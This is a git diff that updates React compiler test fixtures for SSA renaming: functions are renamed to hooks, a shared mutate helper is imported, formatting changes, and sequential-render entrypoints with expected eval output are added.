+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-property-call.js
@@ -1,6 +1,6 @@
 function foo() {
   const x = [];
-  const y = { x: x };
+  const y = {x: x};
   y.x.push([]);
   return y;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-reassign.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-reassign.expect.md
index fc403ed7defc..27682eed4435 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-reassign.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-reassign.expect.md
@@ -12,8 +12,8 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-reassign.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-reassign.js
index 4be20d0c6f96..92e747289ac2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-reassign.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-reassign.js
@@ -8,6 +8,6 @@ function foo(a, b, c) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-destruction-with-mutation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-destruction-with-mutation.expect.md
index 11d328201eac..c6c7489a4e66 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-destruction-with-mutation.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-destruction-with-mutation.expect.md
@@ -2,35 +2,65 @@
 ## Input
 
 ```javascript
-function foo(props) {
+import {mutate} from 'shared-runtime';
+
+function useFoo(props) {
   let x = [];
   x.push(props.bar);
-  props.cond ? (({ x } = { x: {} }), ([x] = [[]]), x.push(props.foo)) : null;
-  mut(x);
+  props.cond ? (({x} = {x: {}}), ([x] = [[]]), x.push(props.foo)) : null;
+  mutate(x);
   return x;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{cond: false, foo: 2, bar: 55}],
+  sequentialRenders: [
+    {cond: false, foo: 2, bar: 55},
+    {cond: false, foo: 3, bar: 55},
+    {cond: true, foo: 3, bar: 55},
+  ],
+};
+
 ```
 
 ## Code
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
-function foo(props) {
-  const $ = _c(2);
+import { mutate } from "shared-runtime";
+
+function useFoo(props) {
+  const $ = _c(4);
   let x;
-  if ($[0] !== props) {
+  if ($[0] !== props.bar || $[1] !== props.cond || $[2] !== props.foo) {
     x = [];
     x.push(props.bar);
     props.cond ? (([x] = [[]]), x.push(props.foo)) : null;
-    mut(x);
-    $[0] = props;
-    $[1] = x;
+    mutate(x);
+    $[0] = props.bar;
+    $[1] = props.cond;
+    $[2] = props.foo;
+    $[3] = x;
   } else {
-    x = $[1];
+    x = $[3];
   }
   return x;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ cond: false, foo: 2, bar: 55 }],
+  sequentialRenders: [
+    { cond: false, foo: 2, bar: 55 },
+    { cond: false, foo: 3, bar: 55 },
+    { cond: true, foo: 3, bar: 55 },
+  ],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) [55,"joe"]
+[55,"joe"]
+[3,"joe"]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-destruction-with-mutation.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-destruction-with-mutation.js
index 71ebbc8147b9..4f7e4163e396 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-destruction-with-mutation.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-destruction-with-mutation.js
@@ -1,7 +1,19 @@
-function foo(props) {
+import {mutate} from 'shared-runtime';
+
+function useFoo(props) {
   let x = [];
   x.push(props.bar);
-  props.cond ? (({ x } = { x: {} }), ([x] = [[]]), x.push(props.foo)) : null;
-  mut(x);
+  props.cond ? (({x} = {x: {}}), ([x] = [[]]), x.push(props.foo)) : null;
+  mutate(x);
   return x;
 }
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{cond: false, foo: 2, bar: 55}],
+  sequentialRenders: [
+    {cond: false, foo: 2, bar: 55},
+    {cond: false, foo: 3, bar: 55},
+    {cond: true, foo: 3, bar: 55},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-destruction.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-destruction.expect.md
index 8ecd18dea93f..693b94d886ce 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-destruction.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-destruction.expect.md
@@ -2,17 +2,21 @@
 ## Input
 
 ```javascript
-function foo(props) {
+function useFoo(props) {
   let x = [];
   x.push(props.bar);
-  props.cond ? (({ x } = { x: {} }), ([x] = [[]]), x.push(props.foo)) : null;
+  props.cond ? (({x} = {x: {}}), ([x] = [[]]), x.push(props.foo)) : null;
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
-  fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  fn: useFoo,
+  params: [{cond: false, foo: 2, bar: 55}],
+  sequentialRenders: [
+    {cond: false, foo: 2, bar: 55},
+    {cond: false, foo: 3, bar: 55},
+    {cond: true, foo: 3, bar: 55},
+  ],
 };
 
 ```
@@ -21,8 +25,8 @@ export const FIXTURE_ENTRYPOINT = {
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
-function foo(props) {
-  const $ = _c(4);
+function useFoo(props) {
+  const $ = _c(5);
   let x;
   if ($[0] !== props.bar) {
     x = [];
@@ -32,21 +36,30 @@ function foo(props) {
   } else {
     x = $[1];
   }
-  if ($[2] !== props) {
+  if ($[2] !== props.cond || $[3] !== props.foo) {
     props.cond ? (([x] = [[]]), x.push(props.foo)) : null;
-    $[2] = props;
-    $[3] = x;
+    $[2] = props.cond;
+    $[3] = props.foo;
+    $[4] = x;
   } else {
-    x = $[3];
+    x = $[4];
   }
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
-  fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  fn: useFoo,
+  params: [{ cond: false, foo: 2, bar: 55 }],
+  sequentialRenders: [
+    { cond: false, foo: 2, bar: 55 },
+    { cond: false, foo: 3, bar: 55 },
+    { cond: true, foo: 3, bar: 55 },
+  ],
 };
 
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) [55]
+[55]
+[3]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-destruction.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-destruction.js
index ed264d52a593..3d2f7f86e48d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-destruction.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-destruction.js
@@ -1,12 +1,16 @@
-function foo(props) {
+function useFoo(props) {
   let x = [];
   x.push(props.bar);
-  props.cond ? (({ x } = { x: {} }), ([x] = [[]]), x.push(props.foo)) : null;
+  props.cond ? (({x} = {x: {}}), ([x] = [[]]), x.push(props.foo)) : null;
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
-  fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  fn: useFoo,
+  params: [{cond: false, foo: 2, bar: 55}],
+  sequentialRenders: [
+    {cond: false, foo: 2, bar: 55},
+    {cond: false, foo: 3, bar: 55},
+    {cond: true, foo: 3, bar: 55},
+  ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-with-mutation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-with-mutation.expect.md
index 3ec90ca8879b..283e55630b89 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-with-mutation.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-with-mutation.expect.md
@@ -2,35 +2,65 @@
 ## Input
 
 ```javascript
-function foo(props) {
+import {mutate} from 'shared-runtime';
+
+function useFoo(props) {
   let x = [];
   x.push(props.bar);
   props.cond ? ((x = {}), (x = []), x.push(props.foo)) : null;
-  mut(x);
+  mutate(x);
   return x;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{cond: false, foo: 2, bar: 55}],
+  sequentialRenders: [
+    {cond: false, foo: 2, bar: 55},
+    {cond: false, foo: 3, bar: 55},
+    {cond: true, foo: 3, bar: 55},
+  ],
+};
+
 ```
 
 ## Code
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
-function foo(props) {
-  const $ = _c(2);
+import { mutate } from "shared-runtime";
+
+function useFoo(props) {
+  const $ = _c(4);
   let x;
-  if ($[0] !== props) {
+  if ($[0] !== props.bar || $[1] !== props.cond || $[2] !== props.foo) {
     x = [];
     x.push(props.bar);
     props.cond ? ((x = []), x.push(props.foo)) : null;
-    mut(x);
-    $[0] = props;
-    $[1] = x;
+    mutate(x);
+    $[0] = props.bar;
+    $[1] = props.cond;
+    $[2] = props.foo;
+    $[3] = x;
   } else {
-    x = $[1];
+    x = $[3];
   }
   return x;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ cond: false, foo: 2, bar: 55 }],
+  sequentialRenders: [
+    { cond: false, foo: 2, bar: 55 },
+    { cond: false, foo: 3, bar: 55 },
+    { cond: true, foo: 3, bar: 55 },
+  ],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) [55,"joe"]
+[55,"joe"]
+[3,"joe"]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-with-mutation.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-with-mutation.js
index 5dde2fea8c0d..7016a5bf07eb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-with-mutation.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary-with-mutation.js
@@ -1,7 +1,19 @@
-function foo(props) {
+import {mutate} from 'shared-runtime';
+
+function useFoo(props) {
   let x = [];
   x.push(props.bar);
   props.cond ? ((x = {}), (x = []), x.push(props.foo)) : null;
-  mut(x);
+  mutate(x);
   return x;
 }
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{cond: false, foo: 2, bar: 55}],
+  sequentialRenders: [
+    {cond: false, foo: 2, bar: 55},
+    {cond: false, foo: 3, bar: 55},
+    {cond: true, foo: 3, bar: 55},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary.expect.md
index 83678c96d804..97cfa052aff9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-function foo(props) {
+function useFoo(props) {
   let x = [];
   x.push(props.bar);
   props.cond ? ((x = {}), (x = []), x.push(props.foo)) : null;
@@ -10,9 +10,13 @@ function foo(props) {
 }
 
 export const FIXTURE_ENTRYPOINT = {
-  fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  fn: useFoo,
+  params: [{cond: false, foo: 2, bar: 55}],
+  sequentialRenders: [
+    {cond: false, foo: 2, bar: 55},
+    {cond: false, foo: 3, bar: 55},
+    {cond: true, foo: 3, bar: 55},
+  ],
 };
 
 ```
@@ -21,8 +25,8 @@ export const FIXTURE_ENTRYPOINT = {
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
-function foo(props) {
-  const $ = _c(4);
+function useFoo(props) {
+  const $ = _c(5);
   let x;
   if ($[0] !== props.bar) {
     x = [];
@@ -32,21 +36,30 @@ function foo(props) {
   } else {
     x = $[1];
   }
-  if ($[2] !== props) {
+  if ($[2] !== props.cond || $[3] !== props.foo) {
     props.cond ? ((x = []), x.push(props.foo)) : null;
-    $[2] = props;
-    $[3] = x;
+    $[2] = props.cond;
+    $[3] = props.foo;
+    $[4] = x;
   } else {
-    x = $[3];
+    x = $[4];
   }
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
-  fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  fn: useFoo,
+  params: [{ cond: false, foo: 2, bar: 55 }],
+  sequentialRenders: [
+    { cond: false, foo: 2, bar: 55 },
+    { cond: false, foo: 3, bar: 55 },
+    { cond: true, foo: 3, bar: 55 },
+  ],
 };
 
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) [55]
+[55]
+[3]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary.js
index b36b25ab143e..6057fcbb35c6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-ternary.js
@@ -1,4 +1,4 @@
-function foo(props) {
+function useFoo(props) {
   let x = [];
   x.push(props.bar);
   props.cond ? ((x = {}), (x = []), x.push(props.foo)) : null;
@@ -6,7 +6,11 @@ function foo(props) {
 }
 
 export const FIXTURE_ENTRYPOINT = {
-  fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  fn: useFoo,
+  params: [{cond: false, foo: 2, bar: 55}],
+  sequentialRenders: [
+    {cond: false, foo: 2, bar: 55},
+    {cond: false, foo: 3, bar: 55},
+    {cond: true, foo: 3, bar: 55},
+  ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-ternary-with-mutation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-ternary-with-mutation.expect.md
index 598d9677aae1..1c4b48cb7c40 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-ternary-with-mutation.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-ternary-with-mutation.expect.md
@@ -2,8 +2,8 @@
 ## Input
 
 ```javascript
-import { arrayPush } from "shared-runtime";
-function foo(props) {
+import {arrayPush} from 'shared-runtime';
+function useFoo(props) {
   let x = [];
   x.push(props.bar);
   props.cond
@@ -14,12 +14,12 @@ function foo(props) {
 }
 
 export const FIXTURE_ENTRYPOINT = {
-  fn: foo,
-  params: [{ cond: false, foo: 2, bar: 55 }],
+  fn: useFoo,
+  params: [{cond: false, foo: 2, bar: 55}],
   sequentialRenders: [
-    { cond: false, foo: 2, bar: 55 },
-    { cond: false, foo: 3, bar: 55 },
-    { cond: true, foo: 3, bar: 55 },
+    {cond: false, foo: 2, bar: 55},
+    {cond: false, foo: 3, bar: 55},
+    {cond: true, foo: 3, bar: 55},
   ],
 };
 
@@ -30,24 +30,26 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 import { arrayPush } from "shared-runtime";
-function foo(props) {
-  const $ = _c(2);
+function useFoo(props) {
+  const $ = _c(4);
   let x;
-  if ($[0] !== props) {
+  if ($[0] !== props.bar || $[1] !== props.cond || $[2] !== props.foo) {
     x = [];
     x.push(props.bar);
     props.cond ? ((x = []), x.push(props.foo)) : ((x = []), x.push(props.bar));
     arrayPush(x, 4);
-    $[0] = props;
-    $[1] = x;
+    $[0] = props.bar;
+    $[1] = props.cond;
+    $[2] = props.foo;
+    $[3] = x;
   } else {
-    x = $[1];
+    x = $[3];
   }
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
-  fn: foo,
+  fn: useFoo,
   params: [{ cond: false, foo: 2, bar: 55 }],
   sequentialRenders: [
     { cond: false, foo: 2, bar: 55 },
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-ternary-with-mutation.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-ternary-with-mutation.js
index 56530eb640ac..c2829b33e6e2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-ternary-with-mutation.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-ternary-with-mutation.js
@@ -1,5 +1,5 @@
-import { arrayPush } from "shared-runtime";
-function foo(props) {
+import {arrayPush} from 'shared-runtime';
+function useFoo(props) {
   let x = [];
   x.push(props.bar);
   props.cond
@@ -10,11 +10,11 @@ function foo(props) {
 }
 
 export const FIXTURE_ENTRYPOINT = {
-  fn: foo,
-  params: [{ cond: false, foo: 2, bar: 55 }],
+  fn: useFoo,
+  params: [{cond: false, foo: 2, bar: 55}],
   sequentialRenders: [
-    { cond: false, foo: 2, bar: 55 },
-    { cond: false, foo: 3, bar: 55 },
-    { cond: true, foo: 3, bar: 55 },
+    {cond: false, foo: 2, bar: 55},
+    {cond: false, foo: 3, bar: 55},
+    {cond: true, foo: 3, bar: 55},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-ternary.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-ternary.expect.md
index d0b8c933018e..58723f9fa0b9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-ternary.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-ternary.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-function foo(props) {
+function useFoo(props) {
   let x = [];
   x.push(props.bar);
   props.cond
@@ -12,9 +12,13 @@ function foo(props) {
 }
 
 export const FIXTURE_ENTRYPOINT = {
-  fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  fn: useFoo,
+  params: [{cond: false, foo: 2, bar: 55}],
+  sequentialRenders: [
+    {cond: false, foo: 2, bar: 55},
+    {cond: false, foo: 3, bar: 55},
+    {cond: true, foo: 3, bar: 55},
+  ],
 };
 
 ```
@@ -23,8 +27,8 @@ export const FIXTURE_ENTRYPOINT = {
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
-function foo(props) {
-  const $ = _c(4);
+function useFoo(props) {
+  const $ = _c(6);
   let x;
   if ($[0] !== props.bar) {
     x = [];
@@ -34,21 +38,31 @@ function foo(props) {
   } else {
     x = $[1];
   }
-  if ($[2] !== props) {
+  if ($[2] !== props.bar || $[3] !== props.cond || $[4] !== props.foo) {
     props.cond ? ((x = []), x.push(props.foo)) : ((x = []), x.push(props.bar));
-    $[2] = props;
-    $[3] = x;
+    $[2] = props.bar;
+    $[3] = props.cond;
+    $[4] = props.foo;
+    $[5] = x;
   } else {
-    x = $[3];
+    x = $[5];
   }
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
-  fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  fn: useFoo,
+  params: [{ cond: false, foo: 2, bar: 55 }],
+  sequentialRenders: [
+    { cond: false, foo: 2, bar: 55 },
+    { cond: false, foo: 3, bar: 55 },
+    { cond: true, foo: 3, bar: 55 },
+  ],
 };
 
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) [55]
+[55]
+[3]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-ternary.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-ternary.js
index 09a5d5aea477..7e34aa5683f5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-ternary.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-ternary.js
@@ -1,4 +1,4 @@
-function foo(props) {
+function useFoo(props) {
   let x = [];
   x.push(props.bar);
   props.cond
@@ -8,7 +8,11 @@ function foo(props) {
 }
 
 export const FIXTURE_ENTRYPOINT = {
-  fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  fn: useFoo,
+  params: [{cond: false, foo: 2, bar: 55}],
+  sequentialRenders: [
+    {cond: false, foo: 2, bar: 55},
+    {cond: false, foo: 3, bar: 55},
+    {cond: true, foo: 3, bar: 55},
+  ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-with-mutation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-with-mutation.expect.md
index e27e00db70f0..9f1e21d7c749 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-with-mutation.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-with-mutation.expect.md
@@ -2,7 +2,9 @@
 ## Input
 
 ```javascript
-function foo(props) {
+import {mutate} from 'shared-runtime';
+
+function useFoo(props) {
   let x = [];
   x.push(props.bar);
   if (props.cond) {
@@ -14,20 +16,32 @@ function foo(props) {
     x = [];
     x.push(props.bar);
   }
-  mut(x);
+  mutate(x);
   return x;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{bar: 'bar', foo: 'foo', cond: true}],
+  sequentialRenders: [
+    {bar: 'bar', foo: 'foo', cond: true},
+    {bar: 'bar', foo: 'foo', cond: true},
+    {bar: 'bar', foo: 'foo', cond: false},
+  ],
+};
+
 ```
 
 ## Code
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
-function foo(props) {
-  const $ = _c(2);
+import { mutate } from "shared-runtime";
+
+function useFoo(props) {
+  const $ = _c(4);
   let x;
-  if ($[0] !== props) {
+  if ($[0] !== props.bar || $[1] !== props.cond || $[2] !== props.foo) {
     x = [];
     x.push(props.bar);
     if (props.cond) {
@@ -38,14 +52,30 @@ function foo(props) {
       x.push(props.bar);
     }
 
-    mut(x);
-    $[0] = props;
-    $[1] = x;
+    mutate(x);
+    $[0] = props.bar;
+    $[1] = props.cond;
+    $[2] = props.foo;
+    $[3] = x;
   } else {
-    x = $[1];
+    x = $[3];
   }
   return x;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ bar: "bar", foo: "foo", cond: true }],
+  sequentialRenders: [
+    { bar: "bar", foo: "foo", cond: true },
+    { bar: "bar", foo: "foo", cond: true },
+    { bar: "bar", foo: "foo", cond: false },
+  ],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) ["foo","joe"]
+["foo","joe"]
+["bar","joe"]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-with-mutation.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-with-mutation.js
index f5d09dbf30d1..3e7078cfc799 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-with-mutation.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-unconditional-with-mutation.js
@@ -1,4 +1,6 @@
-function foo(props) {
+import {mutate} from 'shared-runtime';
+
+function useFoo(props) {
   let x = [];
   x.push(props.bar);
   if (props.cond) {
@@ -10,6 +12,16 @@ function foo(props) {
     x = [];
     x.push(props.bar);
   }
-  mut(x);
+  mutate(x);
   return x;
 }
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{bar: 'bar', foo: 'foo', cond: true}],
+  sequentialRenders: [
+    {bar: 'bar', foo: 'foo', cond: true},
+    {bar: 'bar', foo: 'foo', cond: true},
+    {bar: 'bar', foo: 'foo', cond: false},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-via-destructuring-with-mutation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-via-destructuring-with-mutation.expect.md
index b202302d65ab..81cc777522bc 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-via-destructuring-with-mutation.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-via-destructuring-with-mutation.expect.md
@@ -2,28 +2,42 @@
 ## Input
 
 ```javascript
-function foo(props) {
-  let { x } = { x: [] };
+import {mutate} from 'shared-runtime';
+
+function useFoo(props) {
+  let {x} = {x: []};
   x.push(props.bar);
   if (props.cond) {
-    ({ x } = { x: {} });
-    ({ x } = { x: [] });
+    ({x} = {x: {}});
+    ({x} = {x: []});
     x.push(props.foo);
   }
-  mut(x);
+  mutate(x);
   return x;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{bar: 'bar', foo: 'foo', cond: true}],
+  sequentialRenders: [
+    {bar: 'bar', foo: 'foo', cond: true},
+    {bar: 'bar', foo: 'foo', cond: true},
+    {bar: 'bar', foo: 'foo', cond: false},
+  ],
+};
+
 ```
 
 ## Code
 
 ```javascript
 import { c as _c } from "react/compiler-runtime";
-function foo(props) {
-  const $ = _c(2);
+import { mutate } from "shared-runtime";
+
+function useFoo(props) {
+  const $ = _c(4);
   let x;
-  if ($[0] !== props) {
+  if ($[0] !== props.bar || $[1] !== props.cond || $[2] !== props.foo) {
     ({ x } = { x: [] });
     x.push(props.bar);
     if (props.cond) {
@@ -31,14 +45,30 @@ function foo(props) {
       x.push(props.foo);
     }
 
-    mut(x);
-    $[0] = props;
-    $[1] = x;
+    mutate(x);
+    $[0] = props.bar;
+    $[1] = props.cond;
+    $[2] = props.foo;
+    $[3] = x;
   } else {
-    x = $[1];
+    x = $[3];
   }
   return x;
 }
 
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ bar: "bar", foo: "foo", cond: true }],
+  sequentialRenders: [
+    { bar: "bar", foo: "foo", cond: true },
+    { bar: "bar", foo: "foo", cond: true },
+    { bar: "bar", foo: "foo", cond: false },
+  ],
+};
+
 ```
-      
\ No newline at end of file
+      
+### Eval output
+(kind: ok) ["foo","joe"]
+["foo","joe"]
+["bar","joe"]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-via-destructuring-with-mutation.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-via-destructuring-with-mutation.js
index bb6e80749f52..a72e15eebaf1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-via-destructuring-with-mutation.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ssa-renaming-via-destructuring-with-mutation.js
@@ -1,11 +1,23 @@
-function foo(props) {
-  let { x } = { x: [] };
+import {mutate} from 'shared-runtime';
+
+function useFoo(props) {
+  let {x} = {x: []};
   x.push(props.bar);
   if (props.cond) {
-    ({ x } = { x: {} });
-    ({ x } = { x: [] });
+    ({x} = {x: {}});
+    ({x} = {x: []});
     x.push(props.foo);
   }
-  mut(x);
+  mutate(x);
   return x;
 }
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{bar: 'bar', foo: 'foo', cond: true}],
+  sequentialRenders: [
+    {bar: 'bar', foo: 'foo', cond: true},
+    {bar: 'bar', foo: 'foo', cond: true},
+    {bar: 'bar', foo: 'foo', cond: false},
+  ],
+};
